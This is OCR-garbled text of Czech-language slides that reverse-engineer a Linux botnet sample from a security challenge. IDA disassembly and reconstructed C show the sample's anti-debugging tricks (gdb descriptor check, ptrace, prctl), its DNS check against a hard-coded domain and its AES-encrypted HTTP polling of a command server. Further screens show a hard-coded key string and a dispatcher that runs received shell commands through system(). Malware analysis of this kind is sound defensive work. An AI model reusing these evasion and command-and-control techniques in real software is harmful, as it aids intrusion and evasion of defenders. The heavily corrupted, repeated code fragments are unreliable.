imt #oh | LINUE - sys_sawlt mowy [eoptd], eex J argd
oV dword ptr [@sp], 4 | optlomn
call protl
tast GAN, SAN
L log_B0483ER

56.74% (74, 6E3) (199, 252) 00000200 OE04E200: main

Al:  idle Dowin Dimk: TGE
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bornou hratelnosti na vsech arovnich

01-01 anti_is_gdb .
F D1-02 antiis_ptraced _
01 antidebug 01-03 anti - test for ENW .
01-04 bad boyitm) - pretlGET_DUMPAELE, 0)
k 01-05% goot boyitmd - exit if running as root
Debian3? binary J 02 puts - WE COME IN PEACE
Codeflow 03 look up resolv.conf and eventually add to libevent the public google resolvers

04 register expire_czllback

2
05 register verification of DMS resolution against hard-coded response {of

vexodide org)

analysis

06 register pocling and its callback

1
07 creates an ocbject to announce information about the local system

038 Enters the event loop and triggers the hell

antidebug preambule i1s missing

P build contains more of internal logging /debug code
Centost4 binary command _dispatcher slightlhy differs

not reached functions P

0

otherwise binary looks very the;a'ﬁ'n;:—;-_. as Debian32 build

References _
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L LTI e e—

5] IDAView-A 3¢ | O] Hex View-A 3¢ | [A] Structures 3¢ | &) Enums 3¢ lnpnﬂsi*l*
| T4 — l

¥ L ;
A a4
o eax, eax
M E abn, ebx | status Aec_B0dEZ 80 :
[ ine CEYS Wex GON, SON
imt BCh i LINUX - sys_axlt [ 15T [esp+di] , wox I argd
. oV dword ptr [esp], 4 | optian
=, antidebug a1 prou
|_|_| [ test AN, AN
i= lec_BOJ4=3IER
.................... : T
: L
=
B ------- | BalalafaleRab el B R R Rk L Rl ol R 1o _80423ER:
: ; W eaK, wax
KX ab, wbx I status
H ing SAH
EOTR . = int anh I LINUX - sys_sHit
P
lec_BO4E3IDS:
call geteuld
N test eaN, eax
JnE loc_BO48ZEE
¥
"""""""" - TTETTEETEEmmEEmmm - L E>
loa_ 8048287
loc BO4EI0E: "
mov dword ptr [(asp], offs
call puts
=all avent_baza_now
tant |aAX, SAE
mey de base, sax
iE loo_BO48360
T I |
¥ ¥ ¥
I <
| mery ade, 1
lec _BOdEZRT: mery [eap+d] , eds
WOk waAN, eax By [esp], sax
............... - A —— HOE wabn, ebx | status call avdns_base_Fr
ine AN test SAN, Sax
int BOh | LINUX - sys_sxit mov ds | basae_dns,
= short loc_8o)
i_l —_
- =
LIy [@ap], @ax
oall “vdns_basd_dsunt nass
TeaT SEH, SAN
| ] loo_B048614
; S—

56.74%3 (1P1, 1460) (45, I85) 00000200 OPO4FP200: main [

Disk: 7GB




t nebo znemoznit automatickou

debuggert, hypervisort, antivirt

IsDebuggerPresent (), OutputDebugString(),
FindWindow(),

e generovani vyjimek

 kontrola riznych soubort operacniho systému (antiemu),

registri, sledovani béZziciho casu, ...
 falesné vétve programu, prebytecné skoky

e ... predstavivosti se meze nekladou ...
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]
int anti_is_gdb() {
char *s = ", . /";
kil e int ret=0;

; Attributes: bp-based frame

public anti is qgdb
anti_is gdb proc near

push
=or
mou
push
sub
mou
mou
call
test
mou

js

ebp
eax, eax
ebp, esp
ehx
esp, 14h

[esp+4], eax ; Flags

dword ptr [esp], (offset a_ +2}) ; fFilepame

int fd = openi(s+2, 0x14):
// still wonder why there is >9 test in scar
if(fd = 3) { ret=1: }
#ifdef DEBUG
printf( "INFO: pid=%d, s=%s, fd=%d. ret=%d\n", getpid
sleep(20);
gendif
close(fd);
return ret;

open
eax, eax a__ db *
ehx, eax aTzdir
short loc BOS2ECH aRc db
; char
il w5 =
mou [esp], eax ; £d
call close
cmp ehx, 9
setnle al
movzy ebx, al
il e B3

loc_BAS2ECA:

add esp, 1kh
mou eax, ebx
pop ebx

pop ebp

retn

anti_is gdb endp

EN e |
db "TZDIR",A
EE .l

aPosixrules|] runtime

-rwxr-xr-x 1 bodik bodik 576584 ¢ 1< £
bodik@chronos: ~/sscS5/ssc5-malware- iot:l 0 /proc/4869/

bodik@chronos: ~/sscS5/ssc5-malware-H p------ 2011-09-03 13:13 O -> [EaLs
$ sh anti_is gdb.sh | 2011-09-03 13:13 1 -> [ 4S
Running bare ... e 2011-09-03 13:13 2 -> [ S Tiuss
INFO: pld=4889, s=/, fd=3, ret=0 Qi -x------ 01-09-08 13:13 3 -> /

$ 1ls -1 /proc/4834/fd

Funning in debugger ...

(gdb) run

Starting program: a.out

INFO: p1d=4884, s=/, td=5, ret=1
INFO: debugger detected

Program exited with code O1.
(gdb) |:|




- Uroven 3: Mezi radky

‘mel byt prvni volny FD ==
lerr). Pokud tomu tak neni je mozné, Ze se déje

 Pri spusteni v GDB, zdeédi ladény proces navic roury (IPCs) pro
komunikaci s rodiCem

e Prvni volny je tedy 5 (v DDD je to 7)
* egi.ssc5.wopr testuje na hodnotu 9

e Chyba ?

e Vyvoj v pokrocilém IDE ?

 Job Piloting ?



- Uroven 3: Mezi radky

uze byt v linuxu trasovan pouze

e jej pokusi trasovat a vysledek testu vrati
otu exit (x). RodiC vyzvedne informaci pres



antli_1s5 poraced proc near

et sumrd 1 Uroven 3: Mezi Fadky

push ehp
moy ehp, esp
push ehx
sub esp, 24h
call fork .
oy edx, eax p|d = fork()
moy eax, BFFFFFFFFh i
cnp edx, BFFFFFFFFh switch
jz short loc_8B852E85 .
— fail: return -1
— L child: exlt(ptrace_gttgch(.getppld()},
test  edx, edx parent: return waitpid(pid)
jz short loc 8052E0B
g —
v ¥
i < EX i 2 EX
xor eax, eax
noy [esp+8], eax ; options loc_S@5Z2EQE:
lea eax, [ebp+status] call getppid
noy [esp+h], eax ; status noy dword ptr [esp], 18h ; ptrace_request
noy [esp], edx ; pid noy ebx, eax
call waitpid ®or eax, eax
novEx  eax, byte ptr [ebp+status+1] now [esp+BCh], eax ; int
®or eax, eax
now [esp+B], eax ; addr
mowy [esp+h], ebx ; pid
call ptrace
now edx, 1
test eax, eax
jz short loc_8852E3F
—
[
v 3
ki o~ B ki < B
loc_B@SZEBS: loc_8852E3F:
add esp, 2hh ®or eax, eax
pop ehx moy [esp+8], eax ; options
pop ebp ®or eax, eax
retn moy [esp]. ebx ; plid
®or ebx, ebx
moy [esp+h], eax ; status
call waitpid
®or eax, eax
moy [esp+8], eax ; addr
noy [esp+h], ebx ; pid
mow dword ptr [esp]. 7 ; pltrace_request
call ptrace
call getppid
®or edx, edx
®or ecx, ecx
moy [esp+8], edx ;3 addr
moy [esp+BCh], ecx ; int
moy dword ptr [esp], 11h ; ptrace_request
moy [esp+h], eax ; pid
call ptrace
®or edx, edx
jmp short loc_8052E37
anti_is_ptraced endp

Vi

loc_8852E37: ; status
mow [esp]. edx
call exit

s 2 EX




1 [loc_8pug227: I

egi.worpr.ssc5 :: ????

main(int argc,char **argv. char **envp) {

of \% " v 7
Uroven 3: MEZI I‘adk - |1lea ecx, [esp+4]
’rq e v . . and esp, BFFFFFFFBh
KOd ]e pl‘lHlO A maln( ) d ne ve fUHkC1 oo push dword ptr [ecx-4]
push ebp
mov ebp, esp
; status loc_8048239: push edi
mov eax, [ebx] :
; LINUX - sys_exit test eax, eax DUSE Egl
jz short loc_ 86848288 pus enx
™ push ecx
¥ sub esp, 3d8h
777 | = il s = mov ebx, [ecx+8]
nov eax, [edx+4] nov edx, ebx call anti_is gdb
add edx, 4 jmp short loc_ 804824D test eax, eax
test pax, eax .
inz short loc 804824D 12 shnrﬁ 1?“—394922?
I
vY¥
e
- .
loc_884824D: na stacku Jsou .
cmp byte ptr [eax], 4Ch argumenty main
I
L
= *renvp
cmp byte ptr [eax+1], 44h **argv
jnz 5hnrt|11c_sﬂh82h3 argc
¥ RET <<< ESP
il e
cnp byte ptr [eax+2], 5Fh
lea esi, [esi+@]
jnz short loc_8848243
! i - !
I ;
(R (R s T
lea esi, [esi+@] Xor eax, eax
lea edi, [edi+@] loc 8B48243: Xor ebx, ebx ; status
mouw eax, [edx+4] inc eax
add eds, 4 int g8h ; LINUE - sys_exit
test pax, eax
jz short loc_8048280
; 1
R
e

loc_8A48280:
call
test

anti_is ptraced
eax, eax
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ent funkce main (parametr argc)

cx+8 do registru ebx, ten tedy obsahuje
které predstavuje proménné prostredi

Vicerozmeérné dynamické pole

pointer na pole

By

o1+ 5101}~ PI0II0], PIOI[1], pO][2]
AP p(110], p(1][1], p[1]2]

pole pointerd pole prvkl typu int 7




nym na LD_PRELOAD

Uroven 3: Mezi fadky

loc_BO48227:
call  Hiiierseic eI main(int argec,char **argv. char **envp) {
test eax, eax
mov esi, esi
jz short loc_ 8048239 lea ecx, [esp+i]
™ | and esp, BFFFFFFFBh
¥ push dword ptr [eck-4]
b [w = push ebp
nov ebp, esp
; status loc_86048239: push edi
mow eax, [ebx]
; LINUR - sys_exit test eax, eax pﬂS: E:i
T short loc 8648288 pus ebx
™ push ecx
¥ sub esp, 38h
777 | = "I b mnov ebx, [ecx+8]
mov eax, [edx+4] moy edx, ebx call anti_is gdb
add edx, 4 jmp short loc_884824D test eax, eax
test eax, eax .
jnz short loc_804824D iz short loc_8048227
™1 1
vy
[V |
- .
loc_884824D: na stacku = .
cmp byte ptr [eax], 4Ch argumenty main
Il
¥
= b **anvp
cmp byte ptr [eax+1], 44h **argv
jnz short loc 8048243 argc
I
L i RET <<< ESP
s
cmp byte ptr [eax+2], S5Fh
lea esi, [esi+B]
jnz short loc_8848243
Vg = !
I ;
W = bl [w = = W
lea esi, [esi+@] xor eax, eax
lea edi, [edi+@] loc_8848243: xor ebx, ebx ; status
Y[ |mov eax, [edx+4] inc eax
add edx, 4 int 88h ; LINUX - sys exit
test eax, eax
jz short loc_ 8848288
* |
p—
[P

loc_B804B280:
call
test

eax,

anti_is_ptraced
eax



loc_8848280:

Uroven 3: Mezi radky

egi.worpr.ssc5 :: anti zbytek

- prctl(SET DUMPABLE, 0)
vypnuti generovani coredump

« if(getuid()==0 || geteuid()==0) { exit(0); }

call anti_is_ptraced
test eax, eax
jz short loc_ 8048290
I
¥ ¥
il e B il e il e
®or eax, eax jmp 1nc_suusznn'
®or ebx, ebx ; status loc_BO48290:
inc eax b4l ecx, ecx
int 86h ; LINUX - sys exit|| (mou [esp+4], ecx ; arg?
mov dword ptr [esp], &4 ; option
call prctl
test eax, eax
js loc_BB483EB
I
L Yy
Ll e 59 Ll e B
loc_8O4B3EB: loc_80482AA:
xor eax, eax call getuid
xor ebx, ebx ; status test eax, eax
inc eax jnz loc_80483D9
int 86h ; LIHUX - sys_exit
I
[y

loc_808483D0:

call geteuid
test eax, eax
jnz loc_8B482BE

bl s =

loc_88482BE:

moy dword ptr [esp], offset alleComeInPeace
call puts

call event_base_neuw

test eax, eax

mou ds :bhase, eax

jz loc 8848368

; "WE COME IH PEACE™

]|

v ¥

bl g B

loc_80482B7:

®or eax, eax
xor ebx, ebx
inc eax
int 88h

¥
il e
mou edx, 1
mou [esp+4], edx
mou [esp], eax
; status call evdns_base_neuw
test eax, eax
; LINUX - sys_exit mowy ds:base_dns, eax
iz short loc 8848368
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5] IDAView-A 3¢ | O] Hex View-A 3¢ | [A] Structures 3¢ | &) Enums 3¢ lnpnﬂsi*l*
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¥ L ;
A a4
o eax, eax
M E abn, ebx | status Aec_B0dEZ 80 :
[ ine CEYS Wex GON, SON
imt BCh i LINUX - sys_axlt [ 15T [esp+di] , wox I argd
. oV dword ptr [esp], 4 | optian
=, antidebug a1 prou
|_|_| [ test AN, AN
i= lec_BOJ4=3IER
.................... : T
: L
=
B ------- | BalalafaleRab el B R R Rk L Rl ol R 1o _80423ER:
: ; W eaK, wax
KX ab, wbx I status
H ing SAH
EOTR . = int anh I LINUX - sys_sHit
setup ==z
lec_BO4E3IDS:
call geteuld
N test eaN, eax
JnE loc_BO48ZEE
¥
"""""""" - TTTTTEETTEmmEEEEmm - L E>
loa_ 8048287
loc BO4EI0E: "
mov dword ptr [(asp], offs
call puts
=all avent_baza_now
tant |aAX, SAE
mey de base, sax
iE loo_BO48360
T I |
¥ ¥ ¥
I <
| mery ade, 1
lec _BOdEZRT: mery [eap+d] , eds
WOk waAN, eax By [esp], sax
............... - A —— HOE wabn, ebx | status call avdns_base_Fr
ine AN test SAN, Sax
int BOh | LINUX - sys_sxit mov ds | basae_dns,
= short loc_8o)
‘_I —_
- =
LIy [@ap], @ax
oall “vdns_basd_dsunt nass
TeaT SEH, SAN
| ] loo_B048614
; S—

56.74%3 (1P1, 1460) (45, I85) 00000200 OPO4FP200: main [

Disk: 7GB




L 3

[P
moy [esp]. eax
call evdns_base_count_nameservers
test eax, eax
jz loc_BB48614
% I
il e

google DNS failover

loc_BA48614: : "'s.s.8.8"

mov ebx, offset a8 8 8 B

mov [esp+4], ebx

mou eax, ds:base_dns

mou [esp], eax

call evdns_base_nameserver_ip_add
mov ecx, offset aB_8 4 4 ; "8.8.4h.47
mov [esp+4], ecx

mov eax, ds:base_dns

mov [esp], ea=x

call evdns_base nameserver_ip_ add
jmp loc_8B48306

main endp

v
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il s = lal s
loc_8848306:
mou eax, offset expire_callback ; Attributes: noreturn bp-based frame
=or edx, edx
mou [esp+BCh], eax public expire callback
Xor eax, eax expire_callback proc near
mou [esp+8], eax push ebp
mou eax, BFFFFFFFFh mowv ebp, esp
moy [esp+1Bh], edx sub esp, 8
mou [esp+h], eax mov dword ptr [esp], B ; status
mov eax, ds:base call exit
mou [esp], eax expire callback endp
call event_new
test eax, eax
mou esi, eax
jz short loc_BB48368
|
L
[y
lea eax, [ebp+var_18]
mov [ebp+var_14], @
mou [ebp+uar_18], 127506h call expire_callback() after 0x127500h = 1209600
mov [esp+4], eax -
mov [esp], esi
call event_add
test eax, eax

jz loc_88483F7
|




Up+Udr_ 143 ], B
ehp+var_18], 127588h
pSp+4], eax

psp], esi

i 14
QN
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vent_add il s B
ax, eax
oc_BO4R3FT7
[ ; Attributes: bp-based frame
= = Y public resolve_dispatch
resolve_dispatch proc near
loc_80483F7: var_184= byte ptr -16%h
Xor eax, eax
mou  fespe16n], eax push  ebp generate uniq DNS query based on
mou eax, offset resolue dispatch Eﬂ:h EDE, e=p format string and time using snprintf
mou [esp+8Ch], eax sub esp, 114h
nou eax, 16h mov dword ptr [esp], 8 ; time
nov [esp+4], edi 1ea ebhx, [ebp+var_184]
mow [esp+8], eax call Fime
nov eax, ds:base mou edx, offset ak¥_switch_vexo ; "x%x.switch.vexocide.org”
nou [esp], eax mow [esp+8], edx
call event_new nov [esp], ebx
;Eﬁt Eg:’ E:: moy [esp+BCh], eax
. : mov eax, 188h
jz loc_8648368 mou [esp+4], eax
| |__ir call snprintf
cmp eax, 18ah
il s = ig short loc_8B488D7F
lea eax, [ebp+var_28] |
mov [ebp+uar_1C], @ ¥
moy [ebp+var_28], 3Ch [P R |
nou [esp+h], eax Xor eax, eax
mou [esp], ed1 nov [esp+1Bh], eax
E:;i E:i"tE::d mov eax, offset resolve_callback
jnz luc:BHHBEﬁH 23: £§§p+$un], eax
. | . moy [esp+8], eax
mow eax, ds:base_dns
. . mou esp+h], ebx
create new event and add it to libevent ... nou EESE],]E“
call euvdns_base resolue_ipul
1 oo test eax, eax
egL.WOIpr.sscd :: setup e St Iac_80488D7
. 7 é A 4 | |
Pravidelna udalost resolve dispatch kazdych 60s ¥ vy
- [ e
, . L add esp, 114h
Udalost vygeneruje unikatni DNS dotaz pop  ebx loc_80488D7: ; status
pop ebp moy dword ptr [esp], 1
retn call exit
Odpoved z DNS zpracuje resolve callback resolve_dispatch endp
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public resolve callback
resolue callback proc near

arg_8#= dword ptr 8
arg_4= byte ptr @Ch
arg_##= dword ptr 18h

arg_18= dword ptr 18h N Time Source Destinatiaon Prato
3003 172,016,110 147.231.25.14 DN
push ebp ! 72.072) 147.231.25.14 172.16.1.1

nov ebp, esp 1 130,03 172.16.1.1 147.231.27.173 DN
sub esp, 8 3 130.25 147.231.27.173 172.16.1.1 DM
[:|'|'||] [Ehp"'ﬂl'g_ll-], 1 CRE BT T TR B LT R B | Ad4= == =C A4 bt
jz short loc_ 8048810 a
[ ] B QUEF1es
¥ E Answers
il s = E x4DDEOLef. switCh. vExoCide. orG: tTyp
Mame: =ADDEOLef. switCh. vExDcide.
loc_8B488180: Type: A (Host address)
?ﬂ”t eax, [ebp+arg_#H] Class: IM (0x0001)
es eax, eax . .
p : Time to Tive: 12 hours
jnz short loc_ 8048830 pata length: 4
L}| addr: 202.254.186.190
- = = Authoritative nameservers
B additional records
mou eax, [ebp+arg 8] *|
test eax, eax 1
jz short loc_8A4E830 oooD 00 30 48 <5 42 be 00 16 3e 10 00 I
| 0010 00 93 a2 20 00 00 40 11 Te 2C 93 ¢
L—* 0020 01 ©1 00 35 S9e 91 00 86 15 91 32 4
QO30 00 01 Q0 02 00 01 09 58 34 44 44 4
bl b 3 0040 0a 73 57 69 Y4 43 a8 08 e 45 55 4
nou eax, [ebprarg 10] 0050 03 &F 72 47 00 00 01 00 01 cO Oc ¢
cnp  duord ptr [eax], OBEBAFECAN (089 9928 <0 90 & HEECETEMM 0 10 ¢
jz short locret_884886C e P M
|
Yy ¥
il e =2 il e 3
lea esi, [esi+@]
locret 8048B88C:
leave
retn
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L LTI e e—
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B II_ l

¥ L ;
A a4
o eax, eax
M E abn, ebx | status Aec_B0dEZ 80 :
[ ine CEYS Wex GON, SON
imt BCh i LINUX - sys_axlt [ 15T [esp+di] , wox I argd
. oV dword ptr [esp], 4 | optian
=, antidebug a1 prou
|_|_| [ test AN, AN
i= lec_BOJ4=3IER
...................... : T
: L
=
------ m--- e | b 1ec_8O48IER:
: ; W eaK, wax
KX ab, wbx I status
H ing SAH
EOTR . = int anh I LINUX - sys_sHit
setup ==z
lec_BO4E3IDS:
call geteuld
N test eaN, eax
JnE loc_BO48ZEE
¥
"""""""" - TTTTTEETTEmmEEEEmm - L E>
ngp loa_ 8048287
loc BO4EI0E: "
. mov dword ptr [(asp], offs
poollng call puats
=all avent_baza_now
tant |aAX, SAE
mey de base, sax
iE loo_BO48360
T I |
¥ ¥ ¥
I <
| mery ade, 1
lec _BOdEZRT: mery [eap+d] , eds
WOk waAN, eax By [esp], sax
............... - A —— HOE wabn, ebx | status call avdns_base_Fr
ine AN test SAN, Sax
int BOh | LINUX - sys_sxit mov ds | basae_dns,
= short loc_8o)
i_l —_
- =
LIy [@ap], @ax
oall “vdns_basd_dsunt nass
TeaT SEH, SAN
| ] loo_B048614
; S—

56.74%3 (1P1, 1460) (45, I85) 00000200 OPO4FP200: main [

Disk: 7GB




mou dword ptr ds:connections+h, eax
jz loc_8048360
7 |
il e =
mnov edx, OFFFFFFFFh
nov ebx, BFFFFFFFFh
mou [esp+4], edx
moy [esp], eax
call evhttp_connection_set_retries
XoF eax, eax
moy [esp+18h], eax
mov eax, offset interval_polling_callback
mou [esp+BCh], eax
mnov eax, 16h
nov [esp+8], eax il s =
mou [esp+4], ebx
mnov eax, ds:base
moy [esp], eax ; Attributes: bp-based frame
call event_new
test eax, eax public interval_polling_callback
moy edx, eax interval_polling_callback proc near
jz loc 8648360
[ arg_B= dword ptr 8
o = = push ebp
mowy ebp, esp
lea eax, [ebp+var_28] sub esp, 8
mou [ebp+var_24], B call message_neuw
mov [ebp+var_28], 21h test eax, eax
mou [esp+4], eax jz short locret_ 8648908
moy [esp], edx |
call event_add ¥ ¥
test eax, eax
jnz loc_8048360 i == EEE
T mou [ebp+arg_8], eax
leave locret_8A48988:
jmp polling_message_send| |leave
— — ‘|Iretn
interval_polling_callback endp
malin

- registers periodic event interval_pooling_callback

every event of interval_pooling_callback
- creates message_new() with standard drone id {uuid,ENV[vo], ...

- registers pooling_callback
- encrypts message with AES256 evbuffer_encrypt
- sends heartbeat HTTP request /pooling to C&C

pooling_callback

- receives HTTP response

- evbuffer_decrypt

- parses json structure and if succeeds calls command_dispatcher(),
which executes commands pooled from C&C

b
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iml 1 lng-_nE 5sai;_spml “proc near

war_C= dword ptr -BCh
war_8= dword ptr -8
var_N= dword ptr -h
arg_B= dword ptr #

push ehp
may ebp, esp public polling_callback
sub f::;:::!]_,b, polling_callback proc near
now ebx, [ebp+arg_0]
mov [ebpsvar_8], esi arg_0= dword ptr 8
oy [ebpewvar_u], edi -
test vhx, ebx
jz loc_BOASDAR push ebp
a L mou ebp, esp
push esi
== push ebx
xor eax, eax
nov [pspenl, eax sub esp, 16h
nou duord ptr [esp], offset polling_callback mouv ebx, [ebp+arg_#8]
EAI1  SURtER_Fequest_new test ebx, ebx B
test eax, eax . ’
nou esi, eax jz short loc_884874D
iz short loc_B0&EDAD |
A ~
-a - e
ey [esp], eax nov [esp], ebx
::.l.l f::;“'::gu'“'n"'“twt—w"" call evhttp_request_get_input_bui
noy edi, eax nov [esp], eax
call jsen_object_ta_jsen_string call evbuffer_decrypt
test eax, eax by
now ehx, eax nov [esp]. ebx
j= short loc_BONSD63 call evhttp_request_get_input_bui
nov edx, BFFFFFFFFh
nov [esp+4], edx
nov [esp], eax
ot M i call evbuffer_pullup
noy [esp+n], ebx test edx, eax
R: E:i"' oo nov esi, eax
nov [esp+8], pax jz short loc_SB84B7uD
ewbufFer_add ™1
L i
- - - s
. moy [esp], ebx
::"m?::;]_ esi call evhttp_request_get_in
call euhttp_request_get_sutput_buffer mov [esp], eax
now [esp], vax N
call “b“r;er_m"”t call pl‘lnt_EUDl:lFFE[‘_Sthut
nov erax, offset aPolling : “/polling” mnoy |;ES|J], esl
nov [espsBCh], eax call json_tokener_parse
mov  [espea]. wax cnp eax, BFFFFF@60h
noy eax, dword ptr ds:connectionssy jbe short loc_8848754
naw Eesp;ul. esi T
now ESP . Bax
call evhttp_make request * + *
test rax, eax o =
inz chort loc_BONSDDD il w4 B =
1
¥ loc_884874uD: loc_8848754:
Il‘:; - — i‘ == add esp, 16h || (mov [ebp
- ) loc 8 pop eh* add esp,
oW [espl. esi pop esl pop ebx
call euhttp_request_free pop ebp pop esi
Jmp short lec_80s8DAR
polling_nessage_send endp retn pop ebp
jmp comnm
________1 {_______J polling_call

loc_8@a8DAD:

nou ehx, [ebprvar_C]
now esi, [ebprvar_8]
now edi, [ebprvar_n]
now esp; ebp

pop ebp

retn




T ca
evbuffer_get_length
eax, eax

edi, eax
loc_B@52CCH

bbgidkfaiddgd );

o

i = EJ

lea ebx, [ebp+ruar_ 94]

now [esp], ebx

lea esi, [ebp+uvar_2C]

call sha?5é starts .

mv  eax, 1un creates sha256 from string
nou [esp+B], eax .

now eax, offset aOmguwtfbbgidkfa ; “onguitFbbgidkfaiddgd”
moy [esp+a], eax

moy [esp]. ebx

call sha2b6_update

noy [esp+hs], esi

moy [esp]. ebx

call sha256_findish

now eax, 1086h

moy [esp+h], esi

lea esi, [ehpruar_ 298]

mow [esp+R], eax

now esp]. esi .

1 seedimey  Uses generated digest as a
noy [esp], edi

call malloc

noy [esp+8], edi

moy ehx, eax

moy [esp+4], eax

moy eax, [ebp+arg_@a]

moy [esp]. eax

call evhufFer_remoye

moy esp+il], ebx .

oy leepiil ebe ~—— decrypts first block
mioy [esp],. esi

call aes_decrypt

lea eax, [ebx+10h] s

now [espsH], eax decrypts the second
mow [esp+h], eax

mow [esp], esi

call aes_decrypt

mow eax, [ebp+arg B H H H

nov [HPJ,]_PM I rest remains in plaintext
moy [esp+nu], ebx

nov [esp], eax

call evbuffer_add

now [esp], ebx

call free
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e Lu—p gy e
call

evbuffer_get_length
test eax, eax
moy edi, eax
jz loc_80520BN

o

k& =< EL

lea
moy
lea
call
moy
moy
moy
moy
moy
call
mow
mov
call
moy
moy
lea
moy
moy
call
mow
call
moy
moy
moy
moy
mov
call
mov
mow
mov
call
lea
moy
moy
moy
call
moy
moy
moy
moy
call
moy
call

24

message

ne

ebx, [ebp+uar_94]
[esp], ebx

esi, [ebp+uar 2C]
sha?S6_starts
eax, 1iah
[esp+8], eax
eax, offset aOmgwtfbbgidkfa ; “omgutFbbgidkFaiddgd™
[esp+h], eax
[esp], ebx
sha?56_update
[esp+4], esi
[esp], ebx
sha2S6_finish
eax, 188h
[esp+4], esi
esi, [ebp+uar 298]
[esp+8], eax
[esp], esi
aes_set_key
[esp], edi
malloc

[esp+8], edi
ebx, eax
[esp+h], eax
eax, [ebp+arg_0]
[esp], eax
evbuffer_remouve
[esp+8], ebx
[esp+h], ebx
[esp], esi
aes_encrypt

eax, [ebx+10h]
[esp+8], eax
[esp+h], eax
[esp], esi
aes_encrypt

eax, [ebp+arg_@8]
[esp+8], edi
[esp+h], ebx
[esp], eax
evbuffer_add
[esp], ebx

free
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dyz obycejné wtf nestaci)
at — vSechny zbrané a klice

e iddgd — Doom cheat — nesmrtelnost

... zkratka hratelnost 10/10 ;)

e ...alevratme se k /pooling a command dispatcher



L]
m info, halt, kill, system
R
edi, offset aMetwork_info . "network info”
json_object_get string
ecx, BDh
esi, eax
repe cmpsh
iz short loc_BBNATSE
- ]
¥
& < EL
cld
mow edi, offset aSystem_info ; "system info”
mow ecx, BCh
mow esi, eax
repe cmpsh
inz short loc_ S8BNATTE
T
¥
& = EL
loc_BBYWATFE:
cld
mow edi, offset aHalt ; "halt”
mow ecx, 5
mow esi, eax
repe cmpsh
iz short loc_SB4ATAG
—
1
¥ ¥ ¥ ¥
& = EL & = EL ki < EL & < EL
call payload_posix_info_to_json jmp short 1nc_anln?ﬁ5' cld
noy [esp], eax - mou edi, offset aHill ; "kill” loc_8@UATAT:
1ad_networked_devices_to_jsonf]|call message_new_add_payload mou ecx, 5 mou eax, [ebp+var_10]
|, eax mow [esp], eax moy esi, eax mouy edx, offset aShell ; “shell”
age_new_add_payload call message_send repe cmpsh moy [esp+h], edx
|, eax call payload_get_info_enuvironment jnz short loc_804A765 moy [esp], eax
age_send moy [esp], eax - call json_object_object_get
E— call message_new_add_payload test eax, eax
moy [esp], eax iz loc_S8WAGEYD
call message_send -
jmp short loc_8BAATAS \‘
Yvvd v v
& < EL ki < EL & = EL
mow [esp], eax
loc_SBNATAES = loc_BONATAD: call json_object_get string
mow eax, [ebp+uar_18] call clean_kill|]|mow [esp], eax
mow ecx, offset aPayload ; “payload” - call system
mow [esp+h], ecx mow eax, offset asShell ; “shell”
mow [esp], eax mow [esp+h], eax
call json_object_object_del moy eax, [ebp+uvar_ 18]
jmp loc_8B4AGET moy [esp], eax
- call json_object_object_del
jmp loc_SBUAGEY

conmand_dispatcher endp
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5] IDAView-A 3¢ | O] Hex View-A 3¢ | [A] Structures 3¢ | 2] Enums 3¢ Imlltlxi*l‘
L =
L l
¥ L ;
A a4
o eax, eax
M E abn, ebx | status Aec_B0dEZ 80 :
[ ine CEYS Wex GON, SON
imt BCh i LINUX - sys_axlt [ 15T [esp+di] , wox I argd
. oV dword ptr [esp], 4 | optian
antldebug call pretl
|_|_| [ test SAN, SaK
i= lec_BOJ4=3IER
...................... : T
: L
=
""" E"" il 1o _80423ER:
HOE SAH, AN
KX ab, wbx I status
ing SAH
..................... int 20h I LINUX - sys _aHit
setup ==z
lec_BO4E3IDS:
— call geteuld
test SaAN, Sax
JnE loc_BO48ZEE
¥
"""""""" - TTTTTEETTEmmEEEEmm - L E>
ngp loa_ 8048287
loc BO4EI0E: "
. mov dword ptr [(asp], offs
poollng call puats
=all event_basa_new
tant |aAX, SAE
mey de base, sax
j= loc_BO48360
== I -
¥ ¥ ¥
I <
messages aev  eax, 1
lec _BOdEZRT: mev [eap+d] , eds
WOk waAN, eax By [esp], sax
............... - A —— HOE wabn, ebx | status call avdns_base_Fr
ine AN test SAN, Sax
int BOh | LINUX - sys_sxit mov ds | basae_dns,
= short loc_8o)
i_l —_
- =
LIy [@ap], @ax
oall “vdns_basd_dsunt nass
TeaT SEH, SAN
| ] loo_8048%14
 Se—
56.74% (181, 1460) (45, 385 00000200 OF048200: main |

Disk: 7GB




call
maw
call
maw
maw
call
maw
call
call
maw
call
maw
maw
call
maw
call
call
maw
call
maw
maw
call
maw
call
call
mow
call
mow
mow
call
mow
call
call
mow
call
mow
mow
call
mow
call
mow
mow
call
test
jnz

payload_networked_devices_to_json

[esp], eax
message_new_add_payload
ebhx, eax

[esp], eax

message_send

[esp]., ebx
json_object_put
payload_posix_info_to_json
[esp], eax
message new add payload
ebx, eax

[esp], eax

message send

[esp], ebx
json_object put
payload get info_environment
[esp], eax
message new add payload
ebx, eax

[esp], eax

message send

[esp], ebx
json_object put

payload look for writeable dirs
[esp], eax
message new add payload
ebx, eax

[esp], eax

message send

[esp], ebx
json_object put
payload test cron_at
[esp], eax
message new add payload
ebx, eax

[esp], eax

message send

[esp], ebx
json_object put

eax, ds:base

[esp]. eax
event_base_dispatch
eax, eax

loc_8048368
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1o botnetu /messages

ocesu: uname, getuid, geteuid, getgid, getegid, getpwuid, getgrgid,
getgroups, getpid, getppid, getsid, getgpid, getcwd,

payload get info environment — zjisti informace o proménnych
prostredi VO, Site, ROC, X509 USER PROXY

payload look for writeable dirs — testem vyzkousi a nahlasi
moznosti zapisu ve vyjmenovanych adresarich

payload test cron_at —nazev neodpovida implementaci. Funkce vytiskne
na obrazovku retézec "** GOT IT **" a potom opét zavola payload look for

writeable dirs.

Domnivame se, Ze toto je nedokoncCena vétev programu, v malware sice jsou
implementovany funkce payload test try cron a payload test try at, ale ty

nejsou nikde volany.

Pak se preda rizeni programu do rukou 1ibevent



Uroven 3: Mezi Fadky
az do konce

L LTI e e—

) DAview-A 3¢ | [3] HexViewA 3¢ | [A] Structures 3¢ | [©5] Enums 3¢ mi*ln
T = l

¥ L ;
A a4
o eax, eax
M E abn, ebx | status Aec_B0dEZ 80 :
] ime -l Wox oM, CK
imt BCh i LINUX - sys_axlt [ 15T [esp+di] , wox I argd
. oV dword ptr [esp], 4 | optian
=, antidebug a1 prou
|_|_| [ test SAN, SaK
i= lec_BOJ4=3IER
...................... : T
: L
=
B ------- | BalalafaleRab el B R R Rk L Rl ol R 1o _80423ER:
: ; W eaK, wax
KX ab, wbx I status
ino SAH
..................... int adin I LINUX - sys _aHit
setup o
lec_BO4E3IDS:
call geteuld
N test eaN, eax
